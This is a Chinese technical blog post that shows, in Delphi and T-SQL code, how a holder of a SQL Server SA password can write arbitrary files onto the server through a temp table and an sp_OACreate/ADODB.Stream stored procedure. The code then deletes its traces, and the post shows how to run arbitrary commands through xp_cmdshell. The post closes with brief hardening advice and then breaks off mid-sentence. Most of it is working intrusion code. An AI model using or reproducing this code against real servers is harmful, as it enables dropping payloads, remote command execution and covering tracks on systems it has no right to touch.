首页 > 技术文章 > 通过SQL SERVER远程上传文件的实现

通过SQL SERVER远程上传文件的实现

2009年6月24日 发表评论 125 views 阅读评论

我记得有一种黑客工具,在得到对方SQL SERVER服务器的SA帐号和密码后竟可以通过它上传文件到对方
服务器上面,并远程执行DOS命令。当时觉得很好奇,当然作为程序员的我觉得很不爽,
赶快对SQL SERVER进行了一番研究,并整理出了这篇文章,希望对一些程序新手会有帮助。
写过数据库程序的朋友应该知道,我们可以往数据库中存取各种类型的资料数据
比如文本,整型,二进制等数据。
在这里通过SQL SERVER服务器远程上传文件的思路就是,
1、先通过SQL语句,在对方服务器上创建一临时表,
下面是创建临时表的过程:
procedure Create_temptable;
begin
try
query1.Close;
query1.SQL.Clear;
query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');
query1.SQL.Add('drop table [dbo].[temptable]');
query1.SQL.Add('CREATE TABLE [dbo].[temptable] (');
query1.SQL.Add('[filename] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,');
query1.SQL.Add('[ny] [image] NULL');
query1.SQL.Add(') ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]');
query1.ExecSQL;
except
on e:exception do
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
end;
end;
在创建表时,我创建了两个字段,filename字段存储文件的文件名,ny字段存储文件的二进制数据。
2、往临时表内插入文件
procedure insert_file(filename:string);
var
openfile:tfilestream;
begin
try
openfile:=tfilestream.Create(filename,FmOpenRead); //创建文件流
query1.Close;
query1.SQL.Clear;
query1.sql.Add('insert into temptable (filename,ny) values(:x,:y)');
query1.Parameters.ParamByName('x').Value:=ExtractFileName(filename);
query1.Parameters.ParamByName('y').LoadFromStream(openfile,ftBlob);
query1.ExecSQL;
finally
freeandnil(openfile);
end;
end;
3、插入文件之后,就应该让服务器,自动去读取临时表内的内容,并把表内的二进制数据转储为文件,
这样就达到了将文件上传到服务器的目的。
我们知道,存储过程一般在服务器上运行,所以这个任务就交给存储过程啦,当然这个存储过程我们要自行创建才行,
它的作用就是从临时表内读出数据并保存为文件
下面的过程就是通过SQL语句在服务器上面创建存储过程。
procedure Create_proc; //创建保存文件存储过程。
begin
try
query1.Close;
query1.SQL.Clear;
query1.SQL.Add('CREATE PROCEDURE SCOFIELD'); //存储过程名
query1.SQL.Add('as');
query1.SQL.Add('begin');
query1.SQL.Add('DECLARE @myRecordset int,@Stream int,@Len int,@i int'); //--定义记录集,文件长度
query1.SQL.Add('DECLARE @value binary(8000)'); //--存放数据
query1.SQL.Add('DECLARE @constr varchar(200),@sql varchar(200)');
query1.SQL.Add('declare @filename varchar(200)');
query1.SQL.Add('set @constr=''Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;''');
query1.SQL.Add('set @sql=''select * from temptable''');
query1.SQL.Add('EXEC sp_OACreate ''ADODB.Recordset'',@myRecordset OUT');
query1.SQL.Add('EXEC sp_OAMethod @myRecordset,''open'',null,@sql,@constr');
query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(0).value'',@filename out'); //取出上传的文件名
query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).ActualSize'',@len out');
query1.SQL.Add('EXEC sp_OACreate ''ADODB.Stream'', @Stream OUT');// --建立数据流
query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''mode'',3'); //--读/写状态
query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''type'',1');// --1是流 2是文本
query1.SQL.Add('EXEC sp_OAMethod @Stream,''open'''); // --打开流
query1.SQL.Add('set @i=0');
query1.SQL.Add('while @Len > @i');// --循环写入数据
query1.SQL.Add('begin');
query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).GetChunk'', @Value OUT,8000');
query1.SQL.Add('EXEC sp_OAMethod @Stream,''write'',null,@Value'); // --写入流
query1.SQL.Add('set @i=@i+8000');
query1.SQL.Add('end');
query1.SQL.Add('EXEC sp_OASetProperty @Stream,''Position'',@Len');// --移动数据到结尾处
query1.SQL.Add('EXEC sp_OAMethod @Stream,''SetEos'''); // --截断数据
// query1.SQL.Add('set @filename=''c:\ '' + @filename'); // --保存路径,不设置将存储在SYSTEM32下面
query1.SQL.Add('EXEC sp_OAMethod @Stream,''SaveToFile'',null,@filename,2'); //--保存为文件
query1.SQL.Add('exec sp_OADestroy @myRecordset');
query1.SQL.Add('exec sp_OADestroy @Stream');
query1.SQL.Add('select output=''命令成功''');
query1.SQL.Add('end');
query1.ExecSQL;
except
end;
end;
­
4、保存文件的存储过程我们也建好了,
也到了执行它的时候了....
下面这个过程是用来执行存储过程的
procedure Create_file; //执行存储过程创建文件
begin
try
query1.Close;
query1.SQL.Clear;
query1.sql.Add('exec SCOFIELD'); //执行存储过程
query1.ExecSQL;
except
end;
end;
执行完存储过程后,我们的文件就己经上传OK啦,
不过不擦屁股可不是好习惯,
我们还应该删除刚才创建的临时表和存储过程。
删除临时表的过程:
procedure Del_temptable; //删除临时表
begin
try
query1.Close;
query1.SQL.Clear;
query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');
query1.SQL.Add('drop table [dbo].[temptable]');
query1.ExecSQL;
except
on e:exception do
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));
end;
end;
删除存储过程的过程:
procedure del_proc;
begin
try
query1.Close;
query1.SQL.Clear;
query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)');
query1.sql.Add('drop procedure [dbo].[SCOFIELD]');
query1.ExecSQL;
except
end;
end;
­
大功告成,现在你发现只要按照上面过程的执行顺序执行,就可以顺利的通过SQL SERVER上传文件到服务器了。
上面的QUERY1对象是DELPHI中的ADOQUERY控件,如果你还不会使用,请先去翻翻书。
下面再来研究一下如何通过SQL SERVER 远程地执行DOS命令,
其实很简单,在SQLSERVER中,有一xp_cmdshell的存储过程,
通过该存储过程,我们可以在通过SQL SERVER在服务器上执行任何的DOS命令,
通过SQL语句的执行,我们可以很方便地在对方服务器上面执行DOS命令,
像这样:
query1.Close;
query1.SQL.Clear;
query1.SQL.Add('exec master..xp_cmdshell '''+ 这里存放的就是要执行的DOS命令了 +'''';);
query1.open;
一条SQL语句搞定。
如果你是一名网络管理员,为了服务器的安全请检查你的SQL SERVER是否还存在此存储过程。
如果有删除它就行了,不会有什么影响,或是卸载xpsql70.dll这个动态链接库就OK了。
­
为此,我将自己平

相关文章

分类: 技术文章 标签:
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.